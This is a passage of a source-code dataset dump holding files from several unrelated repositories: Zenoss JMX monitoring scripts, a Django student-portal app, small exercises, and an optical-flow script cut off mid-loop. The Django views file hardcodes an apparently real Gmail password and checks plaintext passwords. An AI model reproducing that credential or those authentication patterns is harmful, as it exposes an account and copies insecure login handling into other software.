zJmxPassword\")\n migratePropertyType(\"zJmxPassword\", dmd, \"string\")\n \nMigratePassword()\n" }, { "alpha_fraction": 0.5871644616127014, "alphanum_fraction": 0.5896328091621399, "avg_line_length": 39.5, "blob_id": "832497a495b67664528c0d34e74bcc8e5527f8aa", "content_id": "86d74f35275cf84dbd3e3372b6dd474357ab18b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3241, "license_type": "no_license", "max_line_length": 78, "num_lines": 80, "path": "/ZenPacks/zenoss/ZenJMX/migrate/UpdateZenJMXTemplates.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nimport Globals\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPack, ZenPackMigration\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\nimport logging\nlog = logging.getLogger(\"zen\")\n\nclass UpdateZenJMXTemplates(ZenPackMigration):\n version = Version(3, 1, 2)\n \n def migrate(self, pack): \n log.debug(\"UpdateZenJMXTemplates migrate\")\n zenJMXTemplate = pack.dmd.Devices.rrdTemplates.ZenJMX\n #delete old datasources\n def deleteDataSource(dsId):\n \n log.debug(\"deleteDataSource for %s\", dsId)\n ds = None\n try:\n log.debug(\"looking up datasource\")\n ds = zenJMXTemplate.datasources._getOb(dsId)\n log.debug(\"found datasource\")\n except AttributeError:\n log.debug(\"error looking up datasource\")\n log.debug(\"%s datasource does not exist\", dsId)\n return\n pack.manage_deletePackable([ds.getPrimaryUrlPath()])\n zenJMXTemplate.manage_deleteRRDDataSources([dsId])\n \n\n deleteDataSource('Non-Heap Memory')\n deleteDataSource('Heap Memory')\n deleteDataSource('Open File Descriptors')\n deleteDataSource('Thread Count')\n \n #remote graph datapoints that were in the deleted datasources \n def deleteGraphPoint(graphId, dpId):\n log.debug(\"deleteGraphPoint for %s\", dpId)\n graph = None\n try:\n graph = zenJMXTemplate.graphDefs._getOb(graphId)\n except AttributeError:\n log.debug(\"%s graph def does not exist\", graphId)\n return\n \n gp = None\n try:\n gp = graph.graphPoints._getOb(dpId)\n except AttributeError:\n log.debug(\"%s graph point does not exist on graph %s\", \n dpId, graphId)\n return\n pack.manage_deletePackable([gp.getPrimaryUrlPath()])\n graph.manage_deleteGraphPoints([dpId]) \n \n deleteGraphPoint('ZenJMX Non-Heap Memory','Non-Heap Memory_committed')\n \n deleteGraphPoint('ZenJMX Non-Heap Memory','Non-Heap Memory_used')\n \n deleteGraphPoint('ZenJMX Heap Memory','Heap Memory_used')\n \n deleteGraphPoint('ZenJMX Heap Memory','Heap Memory_committed')\n \n deleteGraphPoint('ZenJMX Open File Descriptors',\n 'Open File Descriptors_OpenFileDescriptorCount')\n \n deleteGraphPoint('ZenJMX Thread Count','Thread Count_ThreadCount')\n\n" }, { "alpha_fraction": 0.5977859497070312, "alphanum_fraction": 0.605449914932251, "avg_line_length": 24.90441131591797, "blob_id": "d9bdc56c786dedbf2718e8a65472a9f2f2c79d39", "content_id": "53d4fc371fdd62b0b1a2381cd74b96051656d2de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3523, "license_type": "no_license", "max_line_length": 75, "num_lines": 136, "path": "/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/MultiValueAttributeCallTest.java", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\nimport junit.framework.*;\nimport junit.textui.TestRunner;\n\nimport java.util.List;\nimport java.util.ArrayList;\n\n\n/**\n * <p> Tests the methods in the MultiValueAttributeCall class. Don't\n * feel reassured though - the extensiveness of the test is\n * lacking... </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class MultiValueAttributeCallTest\n extends TestCase {\n\n // the configuration for the call\n private static final String URL = \n \"service:jmx:jmxrmi://localhost:12345/mbean\";\n private static final boolean AUTHENTICATE = true;\n private static final String USERNAME = \"username\";\n private static final String PASSWORD = \"password\";\n private static final String OBJECT_NAME = \"mbean\";\n private static final String ATTR_NAME = \"attribute\";\n private static final String ATTR_TYPE = \"attribute type\";\n\n private static List<String> KEYS;\n private static List<String> TYPES;\n\n private AttributeCall _call1;\n private AttributeCall _call2;\n\n\n static {\n KEYS = new ArrayList<String>();\n KEYS.add(\"key1\");\n KEYS.add(\"key2\");\n \n TYPES = new ArrayList<String>();\n TYPES.add(\"java.lang.String\");\n TYPES.add(\"java.lang.Double\");\n }\n\n\n /**\n * Constructs a test that invokes a specific test method\n */\n public MultiValueAttributeCallTest(String method) {\n super(method);\n }\n\n\n /**\n * Called before each method is invoked\n */\n public void setUp() { \n// _call1 = \n// new MultiValueAttributeCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// KEYS, TYPES);\n//\n// _call2 = \n// new MultiValueAttributeCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// KEYS, TYPES);\n }\n\n\n /**\n * Called after each method finishes execution\n */\n public void tearDown() { \n _call1 = null;\n _call2 = null;\n }\n\n\n /**\n * Defines the list of test methods to run. By default we'll run\n * 'em all.\n */\n public static Test suite() {\n TestSuite suite = new TestSuite(MultiValueAttributeCallTest.class);\n return suite;\n }\n\n \n /**\n * Runs all the tests via the command line.\n */\n public static void main(String[] args) {\n TestRunner.run(MultiValueAttributeCallTest.class);\n }\n\n\n /*\n * TEST METHODS BEGIN HERE\n */\n\n /**\n * Tests the hashCode() method\n */\n public void testHashCode() {\n// assertEquals(_call1.hashCode(), _call2.hashCode());\n }\n\n\n /**\n * Tests the equals() method\n */\n public void testEquals() {\n// assertTrue(_call1.equals(_call2));\n }\n}\n" }, { "alpha_fraction": 0.5877957940101624, "alphanum_fraction": 0.5940223932266235, "avg_line_length": 24.935483932495117, "blob_id": "44055713843e43bacd93cf436465a7c6ba82b4e6", "content_id": "bd1a12d8f48fd435102ffd1e76bfb960b1c7fd1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 803, "license_type": "no_license", "max_line_length": 77, "num_lines": 31, "path": "/GNUmakefile", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\n\ndefault: egg\n\n\negg:\n # setup.py will call 'make build' before creating the egg\n\tpython setup.py bdist_egg\n\n\nbuild:\n\tcd ZenPacks/zenoss/ZenJMX; make install\n\n\nclean:\n\trm -rf build dist temp\n\trm -rf *.egg-info\n\tfind . -name *.pyc | xargs rm\n\tcd ZenPacks/zenoss/ZenJMX; make clean" }, { "alpha_fraction": 0.6098807454109192, "alphanum_fraction": 0.6195343732833862, "avg_line_length": 27.868852615356445, "blob_id": "16b8b3146ad9ddacaf17bc352d5133408183a05f", "content_id": "7391fc3119480f0de967b498d356fd3df74f4bf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1761, "license_type": "no_license", "max_line_length": 77, "num_lines": 61, "path": "/ZenPacks/zenoss/ZenJMX/bin/zenjmxjava", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "#! /usr/bin/env bash\n###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2007, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nMYPATH=`python -c \"import os.path; print os.path.realpath('$0')\"`\nTHISDIR=`dirname $MYPATH`\nPRGHOME=`dirname $THISDIR`\nPRGNAME=zenjmxjava\n\n\nZENJMX_HOME=${PRGHOME}\nLIB_DIR=${ZENJMX_HOME}/lib\n\nCFGFILE=${ZENHOME}/etc/zenjmx.conf\nif [ ! -f ${CFGFILE} ]; then\n cp ${LIB_DIR}/zenjmx.conf ${CFGFILE}\nfi\n\nMONITOR=`awk '/^monitor/ { print $2; }' ${CFGFILE}`\nif [ -z \"${MONITOR}\" ]; then\n MONITOR=\"localhost\"\nfi\n\nPIDFILE=${ZENHOME}/var/zenjmxjava-${MONITOR}.pid\n\nCMD=$1\nshift\n\n. ${ZENJMX_HOME}/bin/java-functions.sh\n\nLOGPATH=`awk '/^logpath/ { print $2; }' ${CFGFILE}`\nif [ -z \"${LOGPATH}\" ]; then\n LOGPATH=\"${ZENHOME}/log\"\nfi\n\ncd ${LIB_DIR}\nLOG4J_PROPS=`find ${LIB_DIR} -name log4j.properties`\nsed -e \"s@\\(LOGFILE.File=\\).*@\\1${LOGPATH}/zenjmx.log@\" ${LOG4J_PROPS} \\\n > ${LOG4J_PROPS}.new && \\\n mv ${LOG4J_PROPS}.new ${LOG4J_PROPS}\n\n# these variables must be set (this includes CLASSPATH, which is set above)\nZENJMX_JAR=${LIB_DIR}/zenjmx.jar\nSTART_ARGS=\"--configfile ${CFGFILE} $@\"\nRUN_ARGS=\"--configfile ${CFGFILE} $@\"\n\nJMX_LISTEN_PORT=`awk '/^jmxremoteport/ { print $2; }' ${CFGFILE}`\nDEFAULT_ZENJMX_JVM_ARGS=\"${DEFAULT_ZENJMX_JVM_ARGS} -server ${JVM_MAX_HEAP}\"\nJVM_ARGS=\"$DEFAULT_ZENJMX_JVM_ARGS\"\n\ngeneric $@\n" }, { "alpha_fraction": 0.693489670753479, "alphanum_fraction": 0.695511519908905, "avg_line_length": 65.54054260253906, "blob_id": "5900f96b3d6909ac38ac7f38e08ec35e30b92eb0", "content_id": "1bbcd2af5c288502bc137ea549e2225c26ce73f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2473, "license_type": "no_license", "max_line_length": 149, "num_lines": 37, "path": "/ZenPacks/zenoss/ZenJMX/interfaces.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2010, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\nfrom Products.Zuul.interfaces import IRRDDataSourceInfo\nfrom Products.Zuul.form import schema\nfrom Products.Zuul.utils import ZuulMessageFactory as _t\n\n\nclass IJMXDataSourceInfo(IRRDDataSourceInfo):\n # Connection Info\n jmxPort = schema.TextLine(title=_t(u'Management Port'), group=_t(u'JMX Connection and Metadata Infomation'))\n jmxProtocol = schema.Choice(title=_t(u'Protocol'), group=_t(u'JMX Connection and Metadata Infomation'),\n vocabulary='jmxProtocolVocabulary')\n jmxRawService = schema.TextLine(title=_t(u'Raw Service URL (advanced users only)'), group=_t(u'JMX Connection and Metadata Infomation'))\n rmiContext = schema.TextLine(title=_t(u'RMI Context (URL context when using RMI Protocol)'), group=_t(u'JMX Connection and Metadata Infomation'))\n objectName = schema.TextLine(title=_t(u'Object Name'), group=_t(u'JMX Connection and Metadata Infomation'))\n\n # Authentication\n username = schema.TextLine(title=_t(u'Username'), group=_t(u'JMX Remote Authentication Information'))\n authenticate = schema.TextLine(title=_t(u'Auth Enabled'), group=_t(u'JMX Remote Authentication Information'))\n password = schema.Password(title=_t(u'Password'), group=_t(u'JMX Remote Authentication Information'))\n \n # Operation\n attributeName = schema.TextLine(title=_t(u'Attribute Name'), group=_t(u'JMX Attribute and Operation Configuration'))\n attributePath = schema.TextLine(title=_t(u'Attribute Path'), group=_t(u'JMX Attribute and Operation Configuration'))\n operationParamValues = schema.TextLine(title=_t(u'Parameter Values'), group=_t(u'JMX Attribute and Operation Configuration'))\n operationName = schema.TextLine(title=_t(u'Operation Name'), group=_t(u'JMX Attribute and Operation Configuration'))\n operationParamTypes = schema.TextLine(title=_t(u'Parameter Types'), group=_t(u'JMX Attribute and Operation Configuration'))\n \n \n\n" }, { "alpha_fraction": 0.5845539569854736, "alphanum_fraction": 0.5925433039665222, "avg_line_length": 31.65217399597168, "blob_id": "4fb3aab7c9f002e71ff704eaeb9ed40165c6f6d7", "content_id": "c2d79717c2066b6ca436d41273e63736e40ece97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 751, "license_type": "no_license", "max_line_length": 77, "num_lines": 23, "path": "/ZenPacks/zenoss/ZenJMX/daemons/zenjmx", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "#! /usr/bin/env bash\n###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 as published by\n# the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\n. $ZENHOME/bin/zenfunctions\n\nMYPATH=`python -c \"import os.path; print os.path.realpath('$0')\"`\nTHISDIR=`dirname $MYPATH`\nPRGHOME=`dirname $THISDIR`\nPRGNAME=zenjmx.py\nCFGFILE=$CFGDIR/zenjmx.conf\n\ngeneric \"$@\"\n" }, { "alpha_fraction": 0.6275510191917419, "alphanum_fraction": 0.634839653968811, "avg_line_length": 29.488889694213867, "blob_id": "82d9fbcfd01630481b9695fc22ca47d1623b6f56", "content_id": "ea4281845e866f837b18193dc0e7ba7695ab5732", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1372, "license_type": "no_license", "max_line_length": 75, "num_lines": 45, "path": "/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/call/ConfigurationException.java", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\n\n/**\n * <p> Represents a problem that occurred as a result of\n * configuration. </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class ConfigurationException \n extends Exception {\n\n /**\n * Creates a ConfigurationException based on a message and an\n * exception that caused the ConfigurationException.\n */\n public ConfigurationException(String message, Throwable t) {\n super(message, t);\n }\n\n\n /**\n * Creates a ConfigurationException given a message\n */\n public ConfigurationException(String message) {\n super(message);\n }\n}\n" } ]
20
brandon1994/Educatio
https://github.com/brandon1994/Educatio
f09ce417b6f95d645191a4010a40e07d5a4047f6
3b38f553b5161e33978621ee84e258445c532d4e
5b4209a6bb4c25c9a916ce29efe16361be86893e
refs/heads/master
2021-01-20T01:46:19.343719
2017-03-17T13:14:03
2017-03-17T13:14:03
83,777,991
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6695364117622375, "alphanum_fraction": 0.6774834394454956, "avg_line_length": 40.97222137451172, "blob_id": "1aad500aa5cb9b0aef3efa254b4df7ea6d403980", "content_id": "9e4f9fb441b55462de17c2c3049bd863c40b16d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1510, "license_type": "no_license", "max_line_length": 81, "num_lines": 36, "path": "/EducatioProject/urls.py", "repo_name": "brandon1994/Educatio", "src_encoding": "UTF-8", "text": "\"\"\"EducatioProject URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/dev/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom EducatioApp import views\n\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^index/$', views.index, name='index'),\n url(r'^login/$', views.login, name='login'),\n url(r'^loginError/$', views.loginError, name='loginError'),\n url(r'^notes/$', views.notes, name='notes'),\n url(r'^absences/$', views.absences, name='absences'),\n url(r'^planning/$', views.planning, name='planning'),\n url(r'^contact/$', views.contact, name='contact'),\n url(r'^sendEmailSupport/$', views.sendEmailSupport, name='sendEmailSupport'),\n url(r'^authentificate/$', views.authentificate, name='authentificate'),\n url(r'^emailsend/$', views.emailsend, name='emailsend'),\n url(r'^error/$', views.page_404, name='page_404'),\n url(r'^logout/$', views.logout, name='logout'),\n]" }, { "alpha_fraction": 0.7731958627700806, "alphanum_fraction": 0.7731958627700806, "avg_line_length": 18.399999618530273, "blob_id": "1bb89a6cbfaa5498962c3d4037523ee55fb2b745", "content_id": "c106e03ffa7d2c18cc0eadc23e8dd5ea3e56c6e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 97, "license_type": "no_license", "max_line_length": 35, "num_lines": 5, "path": "/EducatioApp/apps.py", "repo_name": "brandon1994/Educatio", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass EducatioappConfig(AppConfig):\n name = 'EducatioApp'\n" }, { "alpha_fraction": 0.6113125681877136, "alphanum_fraction": 0.6229151487350464, "avg_line_length": 32.071998596191406, "blob_id": "d2f5140de3406c3543d8ede8c05f2a786807e4d6", "content_id": "52f465468f2457689a84393d85303649217adb20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4137, "license_type": "no_license", "max_line_length": 114, "num_lines": 125, "path": "/EducatioApp/views.py", "repo_name": "brandon1994/Educatio", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nimport unicodedata\nimport urllib\nimport simplejson\nfrom django.http import HttpResponseRedirect, Http404\n\ndef index(request):\n return render(request, 'index.html')\n\ndef page_404(request):\n return render(request, 'page_404.html')\n\ndef login(request):\n return render(request, 'login.html')\n\ndef loginError(request):\n isLogged = False\n return render(request, 'loginError.html')\n\ndef notes(request):\n #isNoted = False\n\n #response = urllib.urlopen(\"http://127.0.0.1:8080/EducatioAPI/Note/?format=json\")\n #data = simplejson.load(response)\n\n #for i in range(0, 100):\n #try:\n #if request.session.email in data[i]['email']:\n #isNoted = True\n #request.session['notes'] = data[i]['notes']\n #request.session['matiere'] = data[i]['subject']\n #request.session['appreciation'] = data[i]['appreciation']\n #else:\n #isNoted = False\n #except Exception:\n #if isNoted:\n #return render(request, 'notes.html')\n #else:\n #return render(request, 'noNotes.html')\n\n return render(request, 'notes.html')\n\ndef absences(request):\n # je dois charger les absences ici\n return render(request, 'absences.html')\n\ndef planning(request):\n return render(request, 'planning.html')\n\ndef contact(request):\n return render(request, 'contact.html')\n\ndef emailsend(request):\n return render(request, 'emailsend.html')\n\ndef sendEmailSupport(request):\n\n # We normalize String in order to avoid error with special items\n objetnormalized = unicodedata.normalize('NFKD', request.POST['objet']).encode('ascii', 'ignore')\n nomnormalized = unicodedata.normalize('NFKD', request.POST['nom']).encode('ascii', 'ignore')\n prenomnormalized = unicodedata.normalize('NFKD', request.POST['prenom']).encode('ascii', 'ignore')\n promotionnormalized = unicodedata.normalize('NFKD', request.POST['promotion']).encode('ascii', 'ignore')\n messagenormalized = unicodedata.normalize('NFKD', request.POST['message']).encode('ascii', 'ignore')\n\n obj = objetnormalized + ' (' + nomnormalized + ' ' + prenomnormalized + ' promo ' + promotionnormalized + ' )'\n fromaddr = \"[email protected]\"\n toaddr = \"[email protected]\"\n msg = MIMEMultipart()\n\n msg['From'] = fromaddr\n msg['To'] = toaddr\n msg['Subject'] = obj\n\n body = messagenormalized\n msg.attach(MIMEText(body, 'plain'))\n\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(fromaddr, \"01011994devtestbrandon\")\n text = msg.as_string()\n server.sendmail(fromaddr, toaddr, text)\n server.quit()\n\n return render(request, 'emailsend.html')\n\ndef authentificate(request):\n email = request.POST['email']\n mdp = request.POST['password']\n\n response = urllib.urlopen(\"http://127.0.0.1:8080/EducatioAPI/login/?format=json\")\n data = simplejson.load(response)\n isLogged = False\n\n for i in range(0, 100):\n try:\n if email == data[i]['email']:\n if mdp == data[i]['password']:\n isLogged = True\n request.session['email'] = data[i]['email']\n request.session['nom'] = data[i]['first_name']\n request.session['prenom'] = data[i]['last_name']\n request.session['promo'] = data[i]['promotion_name']\n else:\n isLogged =False\n except Exception:\n if isLogged:\n return HttpResponseRedirect('/index')\n else:\n return HttpResponseRedirect('/loginError')\n\ndef logout(request):\n del request.session\n #if 'email' in request.session:\n #del request.session.email\n #if 'nom' in request.session:\n #del request.session['nom']\n #if 'prenom' in request.session:\n #del request.session['email']\n #if 'promo' in request.session:\n #del request.session['promo']\n\n return HttpResponseRedirect('/login')\n\n\n\n" } ]
3
jwjohnson314/DATA-557-Example
https://github.com/jwjohnson314/DATA-557-Example
6b4b28081b2f08f7a31be119b4788e40d949c15e
0d7b7ca8bca5eb385cfc9990f6ec45bb9ebf3176
8942d732f95f2f4de881d4a3f8746a3123d598ff
refs/heads/master
2018-01-09T17:59:43.582848
2017-03-29T15:59:02
2017-03-29T15:59:02
53,442,350
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.625, "alphanum_fraction": 0.625, "avg_line_length": 31, "blob_id": "3803b52e5f85bb8dd76f3ac1abe85b4a1c3111d9", "content_id": "834b7b550a0512e3589ef184e6445331822f83e7", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 32, "license_type": "permissive", "max_line_length": 31, "num_lines": 1, "path": "/hw.py", "repo_name": "jwjohnson314/DATA-557-Example", "src_encoding": "UTF-8", "text": "print('helloooooo world!!!!!!')\n" }, { "alpha_fraction": 0.7317073345184326, "alphanum_fraction": 0.8048780560493469, "avg_line_length": 19.5, "blob_id": "e4309cd166bfffc1948b769bf7c640ab795d4f68", "content_id": "e83ace1d07bb81fd9941888a7b4c60eaef744686", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 41, "license_type": "permissive", "max_line_length": 21, "num_lines": 2, "path": "/README.md", "repo_name": "jwjohnson314/DATA-557-Example", "src_encoding": "UTF-8", "text": "# DATA-557-Example\nan example repository\n" } ]
2
functx/projecteuler
https://github.com/functx/projecteuler
279080347b5cce1b680d6333c81cda75e959140b
62217abda859e33dffa6b0301836438f3a306dde
305dc4141efaf44eecae52b68fa34bc4de6f2d73
refs/heads/master
2020-01-19T09:30:44.160105
2013-07-05T12:55:55
2013-07-05T12:55:55
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5568181872367859, "alphanum_fraction": 0.5909090638160706, "avg_line_length": 14.588234901428223, "blob_id": "5c78e3922bda05cc2d91d6ba4cd5b661070ce794", "content_id": "e889a6e1f72e7a014c857f52995b5cd0243f5f56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 264, "license_type": "no_license", "max_line_length": 31, "num_lines": 17, "path": "/python/P021.py", "repo_name": "functx/projecteuler", "src_encoding": "UTF-8", "text": "def d(n):\n\tsum_of_divisors = 0\n\tfor i in xrange(1, n):\n\t\tif n % i == 0:\n\t\t\tsum_of_divisors += i\n\treturn sum_of_divisors\n\ndef verify(n):\n\tif n != d(n) and n == d(d(n)):\n\t\treturn True\n\treturn False\n\nsum = 0\nfor i in xrange(10000):\n\tif verify(i):\n\t\tsum += i\nprint sum" } ]
1
waggle-sensor/Cloud-Optical-Flow
https://github.com/waggle-sensor/Cloud-Optical-Flow
cdb2d130ed32b1f783b33e64dc481ecb7dc27a23
fea7dc3adf6f41b5713aeb4766f0e4b81328a1ea
d44c0b671d6f8e485dac0cd3480d7efe2a80f770
refs/heads/main
2023-07-03T01:23:57.938936
2021-08-06T20:27:00
2021-08-06T20:27:00
388,893,651
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.7475728392601013, "alphanum_fraction": 0.7669903039932251, "avg_line_length": 49.5, "blob_id": "de3366e05acc082e4f230ab1aa661a1a5dc2290e", "content_id": "045f4d4ae8d94e750f6b1d2d714710a5ac63e447", "detected_licenses": [ "Python-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 103, "license_type": "permissive", "max_line_length": 71, "num_lines": 2, "path": "/ecr-meta/ecr-science-description.md", "repo_name": "waggle-sensor/Cloud-Optical-Flow", "src_encoding": "UTF-8", "text": "<h4> Cloud Optical Flow</h4>\nUsing OpenCV optical flow to determine cloud motion with a video/movie.\n\n\n" }, { "alpha_fraction": 0.7992125749588013, "alphanum_fraction": 0.7992125749588013, "avg_line_length": 125.5, "blob_id": "66a865d9023da8aedcccb0aab34dbf1d41009543", "content_id": "2ce8455d7116102276e27928f0572c6fbcad0856", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 254, "license_type": "no_license", "max_line_length": 141, "num_lines": 2, "path": "/README.md", "repo_name": "waggle-sensor/Cloud-Optical-Flow", "src_encoding": "UTF-8", "text": "Cloud Optical Flow is a program that takes a video source and adds optical flow. Optical flow then is able to detet motion within the video. \nWithin the code is a set of pixel coordinates. The coordinate is where optical will be finding motion vectors. \n" }, { "alpha_fraction": 0.7837837934494019, "alphanum_fraction": 0.8054053783416748, "avg_line_length": 30, "blob_id": "92d2407e4b4905b663e0fda6fde1a4d0a1ccb8f5", "content_id": "6009a048bb842e158f32d406266f02f74276b613", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 185, "license_type": "no_license", "max_line_length": 70, "num_lines": 6, "path": "/requirements.txt", "repo_name": "waggle-sensor/Cloud-Optical-Flow", "src_encoding": "UTF-8", "text": "# Required Waggle Python modules\nhttps://github.com/waggle-sensor/pywaggle/archive/refs/tags/0.43.1.zip\n\n# Custom Python modules. Please add your requirements below.\nnumpy\nopencv-python" }, { "alpha_fraction": 0.5846790671348572, "alphanum_fraction": 0.6190476417541504, "avg_line_length": 28.814815521240234, "blob_id": "cb3cf4a76aff8e918a13667ac00be70931d7b757", "content_id": "9dbc6583b79c71bbca867f058cd24ba2d00d4c5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2415, "license_type": "no_license", "max_line_length": 82, "num_lines": 81, "path": "/main.py", "repo_name": "waggle-sensor/Cloud-Optical-Flow", "src_encoding": "UTF-8", "text": "from threading import Thread\nfrom queue import Queue\nimport numpy as np\nimport cv2 as cv\nimport time \nimport pandas as pd\nimport xlsxwriter\n\nworkbook = xlsxwriter.Workbook('Velocitydata.xlsx')\nworksheet = workbook.add_worksheet('Sheet 1')\n\ndef create_video_capture_queue(device, queue_size=30, fps=None, quiet=False):\n frames = Queue(queue_size)\n \n\n def video_capture_worker():\n capture = cv.VideoCapture(device)\n next_cap = time.time()\n current_time = next_cap\n while capture.isOpened():\n current_time = time.time()\n ok, frame = capture.read()\n if not ok and not quiet:\n raise RuntimeError(\"failed to capture frame\")\n elif fps is None: \n frames.put(frame)\n elif current_time >= next_cap:\n frames.put(frame)\n next_cap = current_time + 1./fps\n\n Thread(target=video_capture_worker, daemon=True).start()\n return frames\ncap = cv.VideoCapture(cv.samples.findFile(\"MovieOn20191121.mp4\"))\nret, frame1 = cap.read()\nprvs = cv.cvtColor(frame1,cv.COLOR_BGR2GRAY)\nhsv = np.zeros_like(frame1)\nhsv[...,1] = 255\n\n\ndf = pd.read_excel ('data.xlsx',sheet_name='Sheet1',header = None)\nheight = df\n#print(df)\ni = 1\nrow = 0\ncol = 0\nwhile i < 201:\n ret, frame2 = cap.read()\n next = cv.cvtColor(frame2,cv.COLOR_BGR2GRAY)\n flow = cv.calcOpticalFlowFarneback(prvs,next, None, 0.5, 3, 15, 3, 5, 1.2, 0)\n mag, ang = 